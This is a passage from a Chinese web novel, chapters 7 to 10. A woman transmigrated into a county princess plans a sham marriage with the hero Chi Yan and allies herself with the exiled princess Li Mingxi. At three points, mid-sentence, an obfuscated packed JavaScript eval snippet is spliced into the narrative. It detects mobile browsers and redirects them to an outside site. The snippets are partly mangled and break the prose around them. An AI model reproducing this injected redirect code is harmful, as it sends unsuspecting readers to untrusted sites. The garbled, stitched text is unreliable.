待一切事了,县主带着人来到听雪轩,她这才借着送茶点的由头,悄悄过来探看虚实。 她仔细打量着池砚。 嗯……衣着得体,容貌上佳,举手投足间尽显端方气度,全然不似花楼出身,倒像个正经人家的郎君。 于是她试探着问道:“县主啊,这位郎君是?” “正要告诉你,”祝凌霜坦然道,“我过些日子要纳这位池郎君为侧夫。” 闻言,王管事心中大石落地。不是正夫就好,虽说侧夫之位对花楼出身者已是高攀,但观这位郎君的气度,倒也担得起这个名分。 她脸上是真心实意的笑:“原来是未来的侧夫人。” 许是有些不太习惯这个称呼,池砚顿了顿,但很快又微笑颔首。 王管事笑容颇为慈祥:“那老奴去拨几个勤快的小侍过来,就不接着打扰县主和侧夫人了。” 祝凌霜拉住她,嘱咐道:“一会儿你再去库房清点清点,我随后过来。” 王管事走后,祝凌霜又陪着池砚转了一圈,才去库房找王管事。 王管事将库房名单拿来:“县主您看,需要用那些?” 祝凌霜瞥了眼,阔气道:“全用了。” 王管事手一抖:“全、全用?!” 县主这还是跟以前一样不把钱当回事儿啊……娶个侧夫用得着把全部身家都作聘礼吗? 她欲言又止,终是没忍住:“县主,就算您这么喜欢侧夫人,倒也不用如此……” 祝凌霜一听,便知王管事以为她是个败家子了。 王管事不知道她和池砚只是假成婚,这么想倒也是情有可原。 于是,她想了想,决定当个恶人。 祝凌霜微微弯腰,低声道:“这侧夫人我买回来了就是我的人了,身契都在我这儿,哪儿也去不了。聘礼不过是从库房出去一番再回来罢了,又有什么分别?” 不过倒也不算说谎,毕竟池砚现在确实哪儿都去不了,聘礼也确实只是走个过场罢了。 王管事没想到她这么直接,仔细一想好像也还真是这么个事儿,挠了挠头,道:“那……老奴明白了,这就去安排。” “对了。”祝凌霜道,“给外祖母的信寄去了吗?” 她在半个月前决定娶夫时就寄了信去,毕竟娶正夫得有长辈在场。现如今虽然是娶侧夫,倒也还是该知会裴老家主一声。 原书里提过,裴老家主已是原主在世唯一的亲人。而老人家半年后便要寿终,临终前最大的心愿,便是见原主收了心性,肯沉下心来照管裴家商会。只不过,最后还是白发人送黑发人了。 其实她有些不太敢见到原主的亲人,尤其是对原主多加疼爱的裴老家主。 毕竟是占了原主的身子,哪怕她是在原主咽气后才来的,这鸠占鹊巢的愧疚,仍让她心里七上八下的。一想到要面对裴老家主,她多少有些忐忑。 王管事道:“寄出去了,回信应当过两天就到了。” 祝凌霜颔首,再交代完其他事项后,她抬步回自己院中。 天色已晚,她到点要回房睡觉。 除了昨夜意外摔晕过去,自猝死之后,这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283148|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月来,她真是怕了,极其注重睡眠,每天必须睡满时辰。 回房的路上,路过听雪轩,祝凌霜顿住了脚步。 王管事该是把给池砚安排的小侍安顿妥当了,她想着,或许该进去再叮嘱几句。 毕竟池砚如今也算是她雇来的人,作为“老板”,总得尽点人文关怀的本分。 穿过月洞,竹亭内,有一点灯火在轻轻晃动。 映着半月的池边,一道人影凭栏而立,背对着她,有些朦胧。而池中,游鱼戏尾,水声泠泠。 对方似有所感,侧过身来,两息后,道:“你来了。” 声音清越,是池砚无疑。 祝凌霜走上前,在他身旁站定,瞥见他手中正掬着一把鱼食,便笑道:“这时候还在喂鱼?” 池砚笑了笑,指尖轻扬,鱼食便簌簌落入水中。“闲来无事罢了。” 祝凌霜也学着他的样子,往栏杆上一靠,低头看着池中晃动的涟漪。 忽然想起那本书中的细节,便随口问道:“对了,我记得你以前也养着一池锦鲤,你这突然走了,它们岂不是没人喂了?” 身边的人静了静,道:“没事,不用喂。” “咦?不用喂也能活?”祝凌霜有些讶然,忍不住嘀咕,“难怪我以前养的小鱼,喂着喂着就死了,原来是不用喂啊……” 池砚又沉默了。过了好一会儿,才传来一声微乎其微的叹息。 “自然活不了。”他低声道,“可喂与不喂,本就没什么差别。因为它们,都已经死了。” 祝凌霜一怔:“死了?” 她记得书里写过,池砚极喜欢小动物。小时候的他曾鼓起勇气问养父母,能不能在家里养只小狗,却被以“玩物丧志”为由狠狠拒绝了,连带着任何活物都不许他碰。 那栋空旷的别墅里,除了他和保姆,便只有院中的锦鲤算得上“活物”。 幼时的池砚对那池鱼宝贝得紧,即便长到二十五岁,也还保留着喂鱼的习惯。这样的人,怎么会让鱼死掉? “是它们生病了吗?”她追问。 池砚没有立刻回答。祝凌霜下意识偏过头看他。 昏黄的灯火中,池砚眼帘低垂,察觉到她的视线,微微笑了下:“不是它们。是我。” “所以……你是生病去世的?”祝凌霜惊了。 哪个作者会把自己笔下的主角突然写病死的?不会是烂尾了吧? 虽然是上辈子的事了,但祝凌霜还是有些庆幸。还好她没把那小说看完,不然看到烂尾不得把自己给气死? 不过…… 她偏眸望向身边的池砚。 一个年华和前程大好的青年就这么死了,倒也是蛮可惜。 不对,她自己不也是年纪轻轻就猝死的吗?还是先心疼心疼自己吧…… 池砚没回答,只道:“你似乎对我过去的事知道很多,可我对你的过去却一无所知,甚至……连你的名字都不清楚。” 祝凌霜这才恍然——她好像确实没好好跟他说过自己如今的身份。 她想了想,道:“越州县主,祝余安。” 池砚却垂落视线,看着她,摇了摇头。 “可我问的,是你。” 8. 第 8 章 祝凌霜眨了眨眼。 她本就是随遇而安的性子,穿到这具身体里后,在旁人眼中,她便是越州县主。往来人等见了,也只会恭恭敬敬唤一声“县主”。 她原以为,无论是原主的名字,还是她自己的本名,大约都再没机会被人提起了。 方才池砚问起名字时,她顺着眼下的身份答了,只当他是想弄清她的来历,好判断自己如今的处境。 不曾想,他问的竟是…… 池砚见她半晌不语,以为她在迟疑,便学着她白日里说过的话,弯眼道:“祝卿君,你也试着多信我一些,如何?” 听着这句熟悉的话,祝凌霜忍失笑:“我方才不是犹豫告不告诉你名字,只是……没想到你问的是‘我’。” “我自己的名字啊,”她轻声道,“祝凌霜。傲雪凌霜的‘凌霜’。” 池砚闻言,颔首道:“好名字。想来你的父母很是疼你。” 祝凌霜淡淡应道:“或许吧。” 她原本只是个普通人,父母也只是世间最寻常的夫妻。大约天下父母都一样,孩子出生时,总倾注了满心想望,盼着她无病无灾,平安长大。 只是后来…… 她微微垂下眼帘,目光掠过池中嬉游的锦鲤。 方才聊得投入,倒忘了喂食,鱼儿们转了两圈,见没动静,便摆着尾巴游向深处,渐渐隐没在水波里。 “算了不说这个,我来其实只是为了看看你安顿得如何的。”祝凌霜笑了笑,“你刚穿来就被绑进花楼,怕是天天都提着心吧?” 见她生硬地转了话题,池砚没说什么,顺着她的话道:“是啊,日日都在琢磨怎么逃出去,可惜他们看得太紧。结果硬是被逼着学了一个月……嗯,所谓的‘侍人之道’。” “……”祝凌霜脸上掠过一丝不忍。 池砚倒看得开,挑眉道:“倒也不必这副神情。他们虽用了不少法子逼我听话,却没有真对我做什么,大约是觉得留着我还有用。” 祝凌霜了然。花楼定是瞧着他这副好身段好样貌,想在初绽夜卖个高价,才没下狠手。 她生出几分同情:“刚穿来就落进那种地方,虽说没受实质折辱,逃跑失败时偏巧被我赎出来……真不知该说你是倒霉,还是幸运。” “我倒觉得,幸运多些。这一个月,我也算摸清了这里男子的处境,若非你救我,我哪能像现在这样,悠闲地站在这里看鱼。” 池砚弯眸,笑意真切,“说起来,还要谢你那日及时出现。若真等那什么‘初绽夜’,我大约是宁死也不会从的。” 祝凌霜刚要应声笑,却蓦地抓住他话里的词,抬眼问道:“一个月?你什么时候穿来的?” 池砚蹙了蹙眉,认真回想片刻,道:“具体日子记不太清了,只记得那天雨下得极大,砸在身上沉甸甸的,躺在地上几乎要被水淹过。” 祝凌霜惊了:“躺地上?” 池砚无奈:“我醒的时候,就躺地上,积水险些没过我。” “那你岂不是差点……” “是啊。”池砚不甚在意地笑笑,“差点平地淹死。” 祝凌霜沉默了,没再接话。 这样看来,池砚是真的比她坎坷得多。 见她脸上浮出明显的怜悯,池砚反倒温和地开了口。 “倒也无妨。横竖都是死过一次的人了,这点事算不得什么。”他顿了顿,目光落在她脸上,“不过,你特意问我穿来的时间,是发现了什么吗?” 祝凌霜的思绪又被他拉了回来,喃喃道:“巧了不是,我穿来那天,也下了那样大的雨。” 这一个多月,越州只下过一场那样的大雨。而那天,也恰是原主祝余安失足摔死的那天,是她祝凌霜穿来的日子。 所以…… 敢情两人竟是同一天穿来的? 池砚一怔,眼底闪过诧异,直接说出了她心中的想法:“所以,我们是同一天穿来的?” 祝凌霜点头,这巧合也太离奇了些。 池砚也觉不可思议,低头沉吟片刻,抬眼时目光里带着探究,语气却很平和:“我们之间,是不是有什么联系?你似乎认识我,还很了解我的过去,可我对你却毫无印象。” 祝凌霜张了张嘴,话到嘴边又咽了回去。 她本就不是能藏住话的性子,此刻恨不得把真相和盘托出。 可她该怎么说? 说,你只是一本小说里的主角。 而我恰好只是读过这本书的读者。 多残忍啊。告诉他,他曾经的世界、经历的苦难与欢喜,都只是别人笔下的剧情?他的挣扎、他的坚持,不过是作者早就写好的设定? 她抿了抿唇,避开他的目光,含糊道:“这是我的一个秘密,暂时还不能说。” 见池砚没有追问的意思,她连忙转了话题:“时辰不早了,你早些休息吧。我明日去见帝姬,回来再去接你。” 池砚挑眉:“接我?” “嗯,”祝凌霜点头,语气郑重起来,“我们得去办件大事。” “什么事?” “你的——户帖。” · 翌日,祝府的马车缓缓停靠在一处僻静的巷弄深处。 祝凌霜几步下来,抬头打量着眼前的宅院。 灰墙黛瓦,木质门扉斑驳老旧,隐在几株高树的阴影下,显得十分不起眼。 最引人注目的,是门上并无任何门匾,空空如也。 若不是马差再三确认地址,任谁路过都只会以为,这是某户破落人家或者闲置已久的旧宅。 祝凌霜忍不住蹙眉:“没走错吧?” 她怎么记得,原书里李明熙住的虽然也不是什么富丽堂皇的府邸,甚至可以说得上寒素,但至少门面干净整洁,远不是眼前这般近乎破败的景象。 正当疑惑时,大门“嘎吱”一声闷响,艰涩地朝内打开了半扇,只勉强露出一个狭窄的缝隙。 门缝里,一个穿着粗布旧衣、袖子高高挽起的中年男仆探出半个身子,眼神带着惯常的警觉。 他上下打量了祝凌霜几眼,试探问道:“可是越州县主?” “是。”祝凌霜颔首确认。 男仆脸上的神情立刻恭敬了几分,侧身用力推开那扇沉重的门板——或者说,是试图推开更多一些。 “请进,帝姬已经在等您了。” 随着他的动作,那扇原本就歪斜的大门猛地晃悠了一下,连接处老旧朽坏的木料肉眼可见地颤了颤,就像下一刻就会直接脱离门框砸下来一样。 祝凌霜眼角一抽,她赶紧上前,几步从男仆与门框之间那个被扩大的缝隙中快速穿过。 刚走出不远,身就后传来一声闷响。 回头再看,那扇大门已经倒地,激起一堆尘土木屑。 祝凌霜:…… 果然……还好她跑得快! 那侍从“哎哟”一声,捂着口鼻赶紧逃开,他也不管了,走到祝凌霜旁边来,弯腰道:“县主,小的带您过去。” 走几步,祝凌霜没忍住道:“那门……” 侍从连忙摆手:“县主不必担心,不关您的事儿!帝姬不会找您麻烦的。” 祝凌霜:“……我不是这个意思。” 她叹气。算了,还是一会儿见到帝姬再说吧。 穿过杂草丛生的前院,正厅的门大敞开,祝凌霜拢袖,微微低头,走进去。 刚抬手准备行礼,前方便传来不咸不淡的声。 “坐吧,无须多礼。” “谢帝姬。” 祝凌霜坐下。下人给她上了茶,她刚端起,却见上头的李明熙正垂眸瞧着她,看不出心中所想。 祝凌霜下意识把茶放下。 见状,李明熙倒是笑了。 “你好像很怕本宫?”她撑着下颌,问道,“还是说,你怕茶里有什么?” 祝凌霜一听,唰地起身:“微臣不敢!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283149|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她躬着身,冷汗直冒,差点跪了。 前方轻笑了声:“坐下吧,不用如此拘礼。” 祝凌霜这才慢慢坐下,端端正正,悄悄瞥上方的人。 李明熙仍然半撑着脸,看着她。 祝凌霜不知道为什么李明熙老是打量她,但想着还有正事,便先行开口。 “微臣——” “你连夜——” 没料到李明熙也同时开口。祝凌霜立刻住嘴,等着李明熙说。 李明熙笑了声,继续道:“本宫昨日才登门拜访县主,前脚刚离府,县主的拜帖后脚就到了。想来,是有要事相商?” 祝凌霜身子坐得更端正些,斟酌了一下字句后,道:“帝姬快人快语,臣便不绕弯子了。臣今日前来,是想为自己寻一位值得托付前程的人。” 她抬眼,语气真诚:“京城如今暗流涌动,臣在越州根基尚浅,不愿随波逐流,更不想沦为他人砧板上的鱼肉。” 闻言,李明熙挑了挑眉,目光扫过庭院里半枯的草木、积着灰的石桌,道:“县主来时,可瞧过我这院子了?我如今这般境地,县主怕是找错人了。” 顺着李明熙的视线,祝凌霜又将这破败的院子打量了一圈。 她想起来,前些日子她派的人从京城带回消息,只说宫里出了大事,太子被禁足东宫,别的便没有了。 宫廷秘辛本就难往外传,她能理解。旁人可能不知发生了什么,可她心里清楚,太子定是又像书中写的那样,被人污蔑用巫蛊之术诅咒皇帝。 而李明熙,想来也是因此被陛下迁怒,才贬来这越州。 只是瞧这院子的光景,李明熙的处境,似乎比书中写的还要艰难几分。 祝凌霜定了定神,缓声道:“帝姬这庭院虽显陈旧,可根基仍在。帝姬虽受牵连,可那份从容气度,绝非寻常人能有。臣以为,帝姬绝不会久困池中。” “受牵连?”李明熙眼中多了几分玩味,摇头道,“可惜了,再非池中物,也得有腾云驾雾的本钱、引活水来的门路才是。本宫这小池子,眼下连维持生计的活水,都快断了。” “臣深知帝姬只是暂屈于此。”祝凌霜偷偷瞄了眼手心的关键词,继续背着写好的稿子,“说来也巧,前几日臣在院中闲步,夜里仰望星河时,无意间瞥见西南天际……” 她适时顿住,余光观察着李明熙的神情。见对方没有打断的意思,才接着道: “那处主星之位,光华凝聚不散,虽隐于其他星辰间,却透着股沉稳内敛的光,恰如璞玉藏……呃,藏于幽谷。臣斗胆揣测,这是厚积薄发之象。” 她一边瞄一边背,差点卡壳。 李明熙低低笑出声,笑声清浅,却听不出喜怒。 祝凌霜以为她有话要说。可等了片刻,也不见她开口,只好硬着头皮往下说。 “臣……不知到底是什么。不过,是紫微也好,是其他星宿也罢,臣今日来,与其说赌那遥远的天象,不如说信殿下您这个人。臣想为自己,博一个将来。” 李明熙没接话,只静静盯着她瞧了片刻,才慢悠悠开口:“你可知,你这番话若是被有心之人听去,今日怕是走不出这院门了。” 祝凌霜反倒笑了,有恃无恐道:“可微臣觉得,若帝姬不想让消息传出去,这越州城,半分风声也漏不出去。” 开玩笑,前一天晚上发生的事情都知道得那么清楚,这越州城怕不是早就布满李明熙的眼线了。 听此,李明熙脸上的玩味淡了下去。她缓缓起身,一步步朝祝凌霜走来。 “早前在京城时,便听说越州县主是个不学无术的草包,如今看来,传言倒不尽属实。” 见她起身,祝凌霜也连忙跟着站起来,听见这话,面不改色:“微臣这不是终于开窍了嘛。” 李明熙眉梢微微挑起,在她身前站定,语气仍旧听不出半分波澜。 “真有人能突然开窍至此?只怕是……预见过什么。” 9. 第 9 章 “啊?微臣一直在越州,没遇见过什么特别的人啊?”祝凌霜睁大眼,疑惑道。 李明熙站在她身前,低眸瞧着她,目光沉静,如同深潭。 片刻后,她没再追问,转身在旁边的椅子上坐下。 可这一坐,反倒让站着的祝凌霜更局促了。 让她挨着未来帝王坐下,她是真有些发怵。 “看来,你是真怕我。”李明熙忽然开口。 祝凌霜:“……” 说笑了,你可是将来能一句话定人生死的人,谁能不怕? 李明熙叹了口气:“本宫初到越州,也没对县主做过什么,为何怕成这样?” “不是怕不是怕!”祝凌霜连忙摆手,急中生智找补,“微臣只是对帝姬心怀敬仰,不敢失了礼数!” 李明熙抬眼瞥她:“坐下吧,难不成真要本宫一直仰头看你?” 这话一出,祝凌霜哪还敢犹豫,连忙在旁边的椅子上坐下,还下意识往外侧挪了挪,尽量拉开点距离,又强装镇定地挺直脊背,想显得松弛些。 李明熙瞥见她这小动作,没点破,只语气淡然地问:“可还有别的话要说?” 祝凌霜愣了愣。她方才那番投诚的话,李明熙到底接不接?是信了还是没信? 她心一横,干脆不再琢磨,手往袖子里伸去,想拿出早就准备好的东西表诚意。 可指尖刚碰到硬物,一道寒光“唰”地扫来,冰冷的剑锋直接贴在了她的脖子上。 余光里,不知何时冒出来的玄衣亲卫,正举着剑,面无表情地盯着她。 祝凌霜:“……” 天地良心!她袖子里藏的不是凶器啊! 她瞬间僵住,一点儿都不敢动弹。 “不得无礼,退下。”李明熙抬了抬手,语气依旧平淡,却带着不容置疑的威严。 玄衣亲卫应声收剑,身影一晃,又像凭空出现时那样消失了。 祝凌霜这才敢动,颤巍巍地从袖子里掏出一枚沉甸甸的令牌,双手捧着递到李明熙面前。 声音因为刚受了惊,还有点发紧,却努力说得铿锵:“这是越州商会的东家令牌,臣今日来,是真心想与帝姬相投。还望帝姬信微臣一次!” 若不是她垂在身侧的手还在微微发抖,倒真像个底气十足的投诚者。 李明熙轻笑一声,接过令牌,垂眸盯着上面刻着的“裴”字,道:“裴老家主知道,县主要把自家的商会令牌,拱手送给本宫吗?” 原书里,这令牌本就是裴老家主亲手交给李明熙的,祝凌霜认为,她现在不过是“物归原主”。 况且,不拿出这令牌当投名状,不给李明熙递上助力,她往后还怎么躺赢? “微臣会亲自向外祖母说明,她老人家定会明白。”祝凌霜道。 “是吗。说起来,京城里,想抢这枚令牌的人可不少。县主到底是清楚京城的局势,还是……揣着明白装糊涂?”李明熙把玩着令牌,抬眼道,“若要寻人做靠山,本宫似乎不是最佳人选。” 祝凌霜愈发头疼。她简直觉得,跟这未来帝王级别的人物来回博弈,比她当初加班一个月还心累。 她干脆不绕弯子,直言道:“微臣现在需要能人相助,清理商会。无论京城如何,总归天高地远。这越州城里,只有帝姬能帮臣。若是帝姬愿意出手,越州商会的钱财、货物,往后都听凭帝姬调遣!” 她心里很清楚,李明熙眼下最缺的就是资源,绝不会拒绝这送上门的助力。之前的试探,估计是看她够不够诚心。 现在令牌都递出去了,这份诚意该够了吧? 李明熙盯着她看了片刻,缓缓道:“县主都把话说到这份上,本宫再为难,倒显得小气了。” 她抬手拍了拍,方才退下的玄衣亲卫又走了进来,垂首立在一旁,恭敬等候吩咐。 “这几人,暂时借给县主用。”李明熙道,“可别让本宫失望。” 祝凌霜连忙起身拱手,舒了口气:“微臣定不负帝姬所托。” 转身要走时,李明熙却突然叫住她:“留步。” 祝凌霜停下脚步,还没回头,就见一只修长的手伸来,将令牌塞回她的腰间。 李明熙的声音带着点浅淡的笑意,从身后传来: “那么,合作愉快。” · “啊——” 上了马车,祝凌霜才敢彻底松了肩膀,歪歪斜斜地半靠在软垫上。 心里的余悸还没散,李明熙那句话又在耳边响起来。 她哪会听不出,李明熙说的是“预见”一词。可她半个字都不敢接。 她这段日子隐隐约约察觉到有些不对劲。 李明熙到越州的时间,比原书里迟了半个月;李明熙住的这处院子,破败程度也远超书中描写;还有李掌柜突然自杀,以及李明熙对她那说不清道不明的态度……桩桩件件,都与原书剧情透着细微的偏差。 预见? 难不成…… 祝凌霜猛地坐直身子,一个念头突然窜进脑子里: 难道李明熙也对书里的事有感知?就像一些小说里写的,梦见过原剧情之类的。甚至更有可能……李明熙重生了。 这个想法一冒出来,之前那些想不通的地方突然就通了。 李明熙反复试探她,对她态度古怪,或许就是在怀疑她也带着前世记忆。 可很快,她又觉不对:如果李明熙真重生了,怎么会眼睁睁看着太子巫蛊案再次发生?难道她是刚重生不久? 可若是刚重生,新的疑问又涌了上来:李明熙是什么时候重生的?重生前,原书的剧情已经推进到了哪一步? 祝凌霜揉了揉发紧的太阳穴,越想越觉得脑子像被塞进了一团乱麻。 若是她面对的,真的是一个经历过一世、甚至可能早已登顶过九五之尊的李明熙…… 祝凌霜蓦地笑出声。 那躺赢之路,岂不是更简单了些! · 池砚坐在池边竹亭里,半倚着柱。 锦鲤抢食搅得池水哗哗。目光垂落在泛着涟漪的水面,他指尖捏着鱼食,一点点慢慢往水里撒。 从前在那个空旷的别墅里,日子永远是静悄悄的。 只有站在鱼池旁,听着水声泠泠、看着游鱼摆尾,他才觉得自己的世界多了半分活气。 如今到了这个女子为尊的世道,他似乎还是没什么能做的,依旧只能像从前那样,守着一池鱼,打发这百无聊赖的时光。 一旁的侍从墨书,已经跟着他在池边站了一上午。 见自家主子一勺接一勺地喂,半点没有停手的意思,心里忍不住犯嘀咕。 这么喂下去,鱼真的不会被撑死吗? 他好几次想开口提醒,可转念想起昨日王管事的叮嘱。 王管事把他们带到听雪轩时,特意强调过,这位侧夫人是县主极其看重的人,让他们务必伺候周到,万万不能惹他不快,否则县主怪罪下来,谁也担待不起。 墨书是祝府的家生子,从小便在祝府做活。府里头这些年来侍君进进出出从未断绝过,他早已习以为常。 可这次着实不同。县主一袭令下,竟将整个后院那些姹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283150|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫嫣红尽数遣散。 而整个祝府后院,独独只剩这一个新进来的侧夫人。 来听雪轩当差前,他心里又忐忑又好奇。 既想看看这让县主收心的人究竟是什么模样,又怕自己笨手笨脚,伺候不好惹来惩戒。 可真见了池砚,他倒愣了。 这位侧夫人不仅是他见过最好看的男子,性子还格外温和,见他拘谨,还特意说“不必太过拘束”。 这么想着,墨书觉得,或许自己出言提醒,侧夫人也不会生气? 他正斟酌着措辞,院门外忽然传来脚步声,有人禀报道:“侧夫人,县主的马车已经到府门外了。” 话音刚落,墨书就见池砚点了点头,随手将装鱼食的罐子放在石桌上,转身就往外走,脚步比刚才喂鱼时轻快了不少,连余光都没再往鱼池瞥一眼。 墨书望着他的背影,忽然反应过来。 原来主子方才不是在喂鱼解闷,是独守着院子,在盼着县主回来啊。 池砚自然不知道新来的小侍在想什么。 他此刻满心想的,是终于能去办户帖的事,顺便也能出门透透气。 在听雪轩着虽算清净,却也闷得慌。 方才喂鱼时实在无聊,他甚至荒唐地想,不然学学这世道的男子,绣绣花、织织布?总好过整日无所事事,连点能打发时间的事都没有。 他向来适应力强,毕竟从前在别墅里,那种一眼望不到头的寂静日子,他从年少时就已经习惯了。 这么算下来,如今至少还能寻些绣活来做,似乎比从前的日子,还要强上几分。 到门口,他掀帘上了马车。 车内之人歪斜靠着,见他进来,稍稍坐直了些,有气无力地打了个招呼。 池砚一顿,坐下后问道:“事情不顺利?” 祝凌霜往里挪了挪,给他留点位置,叹气道:“没有啊,很顺利,帝姬给了我几个亲卫,我已经安排她们去做事了。” 池砚问道:“那为何叹气?” 祝凌霜笑了两声:“也没什么。就是想到后面事情还很多,要忙得脚不沾地,有些烦。” 稍作迟疑,池砚道:“有什么我能帮忙的吗?” 祝凌霜看向他。他今日换了新衣,是湖水蓝配银线云纹的锦袍,衬得他肤色愈发清润,气质卓然,即使在光线不足的车厢里也格外打眼。 她道:“有啊,一会儿上完户帖跟我去趟绸缎庄。” 池砚认真听着,点头道:“好,需要我做什么?查账还是清点?” 他正猜想着与绸缎庄有关的、自己能帮手的正事。 却见祝凌霜弯了弯眼,笑着摇头:“错啦!是——试衣服!挑几身合眼缘、撑得起来的……嗯,反正穿着好看的直接带走!” 池砚正想着开口婉拒,又听祝凌霜道:“先别急着拒绝!最重要的,是给你赶制一身合适的……嫁衣!” 说着“嫁衣”这个词,祝凌霜其实有些想笑。 毕竟在这里是男子嫁人,男子穿嫁衣。一般来说,嫁衣是要出嫁郎君亲自绣上几针的,不过,她们只是假成婚,就不必多此一举了。 听见祝凌霜的话,池砚低声重复:“……嫁衣吗?” 显然,这个词还是给了池砚少许冲击力,他轻轻叹了口气,带着些细微的无奈:“……我明白了。” 祝凌霜笑道:“对。不过我们还是先按原计划去府衙,我已经打点好了,就等你本人到场,填完就好。” …… “什么!怎么还坐地起价了?!” 祝凌霜怒了。 10. 第 10 章 府衙内。 管理户籍的司户靠在吱呀作响的木椅里,半眯着眼睛,用一副事不关己的口吻慢悠悠道: “哎呀呀,县主息怒。您有所不知啊,前些个日子金州那边偷渡进来一批凶悍的寇民,杀了好些个巡查的差人,闹得人心惶惶!” 她煞有介事地啧了一声,“这不,上头震怒,下令临近各州彻查,尤其严防细作混入!各处户籍关口审查得那个严哟,手续繁琐,查验身份要多方核证,人力物力耗费巨大。咱们这小地方衙门可支撑不起啊,这多出来的花销,可不就得落在各位办手续的贵人身上分担一点嘛?二十两,已经是从轻了。” 祝凌霜气得胸口发堵。 这套说辞漏洞百出,什么寇民能让户籍办理成本飙升几十倍?这明摆着就是看她有钱想敲一笔。 而她又恰好有事相求,毕竟给池砚这么大一个黑户上户籍要走的流程确实很长,稍做打点可以简单一些。 但她已经给这司户零零总总送过几十两的礼了,现在竟然又坐地起价,将五百文的户帖钱抬至二十两。要知道,二十两已经是一个八品司户一年的俸禄了。 硬刚?就算最后能成,也绝对是大费周章,扯皮推诿少不了,时间成本更高。 她现在最重要的事,是拿到池砚的合法身份。 池砚填完户帖后,祝凌霜让他先回了马车。 她不想让池砚知道自己又在他身上花了钱,不然,以池砚的性子,心里又要徒增压力了。 可眼下她也实在没料到这司户临时抬价。 她深吸一口气,几乎是咬着牙,让侍从拿出两块十两的银锭,重重地拍在桌上。 “二十两就二十两,户帖拿来!” 对她而言,二十两确实不算什么,她只是看不惯这司户仗着职权刁难、见钱眼开的嘴脸。 那司户见目的达到,脸上立刻堆满谄笑,动作麻利地从抽屉里取出那张早已办好的、簇新的绢帛户帖,双手奉上: “县主果然还是财大气粗!爽快!您收好,早就给您预备妥帖啦!慢走啊县主!” 祝凌霜一把抓过户帖,翻了个白眼:“你最好是赶紧花完,不然可就没机会了。” 等商会的事忙完,李明熙可就要开始肃清越州官场了,这些贪污的一个也逃不了。 那司户只当她心情不爽,随便甩两句狠话罢了,根本不在意:“县主您慢走啊。” 上了马车,祝凌霜将户帖塞到池砚手里。 池砚敏锐地察觉到她心情不佳,便问道:“怎么了?” 祝凌霜哼道:“没事,多收了点银两。” “那——”池砚刚想追问,却被她抬手打断。 “不必问,”她竖起一根手指,摇了摇,“别的不说,我有的是钱,不用你还。契约期间好好替我做事,就够啦。” “……”池砚无奈地弯了弯唇角,“不管怎么说,还是多谢你了。” 马车轱辘碾过青石板路,没片刻便停在了绸缎庄外。 祝凌霜掀开车帘先下了车,抬头望着锦绣庄的鎏金招牌。 这是商会名下最大的绸缎庄,她倒还是头一回来。成亲的日子近了,总得先让这儿赶制两套婚服才是。 店内果然热闹,三三两两的客人围着柜台,指尖拂过一匹匹流光溢彩的绸缎,讨价还价的声音混着伙计的介绍,烟火气十足。 祝凌霜刚进门,目光扫过全场,却没见着掌柜的身影,只瞧见钱柜后探出半个脑袋。 是个穿青衫的小郎君,看着不过十七岁年纪,额前碎发还带着点稚气,眉眼间满是未脱的青涩,双眼倒是如晨星般明亮。 他望见祝凌霜,先是怔住,而后双眼亮了起来。 祝凌霜问道:“你们掌柜呢?” 小郎君往内堂指了指,声音脆生生的:“里头有位大主顾,掌柜正陪着选料子呢。您找掌柜有急事吗?” “嗯,”祝凌霜颔首,“等她忙完,让她来寻我。” 小郎君还在发怔,忽然祝凌霜身后传来脚步声。 是池砚跟了进来。小郎君探头一看,道:“这位哥哥,你又来啦!” 祝凌霜一愣,转头看向池砚:“你们认识?” 池砚温声道:“上次来挑衣裳,便是这位小郎君帮我选的。” 小郎君立刻挺起胸脯,带着点小得意:“怎么样?我挑的料子,这位哥哥穿起来是不是很好看?” “原来如此。”祝凌霜笑了笑。 余光里,她瞥见内堂的帘子动了动,周掌柜正送着一位锦衣男子出来,便对少年郎道:“那劳烦你再陪他挑些绸缎吧,我去见你们掌柜。” 上次这小郎君挑的那几身衣裳,池砚穿在身上,确实很好看。 “没问题!”小郎君爽快应下,立刻拉着池砚往面料区走,还小声问:“哥哥这次想挑什么样的?是做外衫,还是衬里?” 祝凌霜站在原地等着,没片刻,周掌柜便快步走了过来。 她刚送完知府家的郎君,转头就见自家东家靠在钱柜旁,正看着她,吓得连忙整了整衣襟,躬身道:“东家今日怎么有空过来了?” 祝凌霜直接道:“我要成婚,需你们赶制两套婚服。” 周掌柜一惊,随即连忙问道:“东家要成婚?那婚服需赶在何时?” 祝凌霜指尖抵着下巴,想了想。 虽说只是纳侧,但她要的是风光大办,需准备的东西太多,七天已是极限,于是道:“最好七日之内,时间够吗?” 